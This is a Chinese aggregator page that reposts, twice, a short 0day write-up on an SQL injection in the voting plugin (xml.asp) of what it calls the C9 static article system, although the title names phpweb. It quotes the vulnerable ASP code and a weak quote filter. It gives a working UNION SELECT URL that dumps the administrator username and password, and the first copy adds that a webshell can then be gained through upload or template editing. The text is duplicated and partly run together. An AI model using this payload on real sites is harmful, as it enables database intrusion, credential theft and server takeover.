0day!phpweb伪静态页面注入漏洞预警

2024-04-22

0day!phpweb伪静态页面注入漏洞预警(精选2篇)

篇1:0day!phpweb伪静态页面注入漏洞预警

看到一个叫C9静态文章发布系统的程序只不过没仔细看过,今天下载回来一份看了下发现了问题在投票那里是一个flash投票系统,flash我不懂于是抓了个包看了下发现是通过add.asp提交投票xml.asp提供rss输出当读到这里的时候发现了问题

代码如下:<%thisid=funstr(Trim(Request.QueryString(“voteid”)))ifthisid=“”thensetrs=conn.execute(“selecttop1*fromplug_votewhereoorcfalseorderbyiddesc”)elsesetrs=conn.execute(“select*fromplug_votewhereid=”&thisid)endififrs.eofthenresponse.Write(“连接数据发生错误”):response.End()conn.execute“updateplug_votesetvotevi=votevi+1whereid=”&rs(“id”)fori=1to5ifisnull(rs(“cs_”&i))thenexitfornextnowid=rs(“id”)......%>

这里我们看下是如何接收变量传递进来的值的thisid=funstr(Trim(Request.QueryString(“voteid”)))trim过滤两边空格然后是funstr这个函数在包含文件里有个fun/funlogic.asp函数应该在这里打开这个文件

Functionfunstr(str)str=replace(str,“<”,“<”,1,-1,1)str=replace(str,“>”,“>”,1,-1,1)str=trim(str)str=replace(str,“’”,“‘”)funstr=strEndFunctionFunctionunfunstr(str)str=replace(str,“<”,“<”,1,-1,1)str=replace(str,“>”,“>”,1,-1,1)str=trim(str)str=replace(str,“‘”,“’”)unfunstr=strEndFunction

这个函数起到的作用就是过滤字符串中的一些字符如<>空格’等等作者可能认为这样就可以达到防注的效果其实不然注入不需要这些东西

127.0.0.1:2936/plug_vote/xml.asp?voteid=1

构造下引用127.0.0.1:2936/plug_vote/xml.asp?voteid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1

查询得到管理员用户名和密码后台拿webshell有两种方法一个是上传一个是编辑模板注意看下编辑模板的地址就可以了不多说用此漏洞干坏事者MJJ

篇2:0day!phpweb伪静态页面注入漏洞预警

代码如下: <% thisid=funstr(Trim(Request.QueryString(“voteid”))) if thisid=“” then set rs=conn.execute(“select top 1 * from plug_vote where oorcfalse order by id desc”) else set rs=conn.execute(“select * from plug_vote where id=”&thisid) end if if rs.eof then response.Write(“连接数据发生错误”):response.End() conn.execute “update plug_vote set votevi=votevi+1 where id=”&rs(“id”) for i=1 to 5 if isnull(rs(“cs_”&i)) then exit for next nowid=rs(“id”) ...... %>

这里 我们看下是如何接收变量传递进来的值的 thisid=funstr(Trim(Request.QueryString(“voteid”))) trim 过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str) str = replace(str, “<”, “<”, 1, -1, 1) str = replace(str, “>”, “>”, 1, -1, 1) str = trim(str) str = replace(str,“’”,“‘”) funstr = str End Function Function unfunstr(str) str = replace(str, “<”,“<”, 1, -1, 1) str = replace(str, “>”,“>”, 1, -1, 1) str = trim(str) str = replace(str,“‘”,“’”) unfunstr = str End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ’ 等等 作者可能认为这样就可以达到防注的效果 其 实不然 注入不需要这些东西

127.0.0.1:2936/plug_vote/xml.asp?voteid=1

构造下引用 127.0.0.1:2936/plug_vote/xml.asp?voteid=1%20and%201=2%20union%20select% 201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1

上一篇:催费培训心得下一篇:论通信电源常见故障与处理论文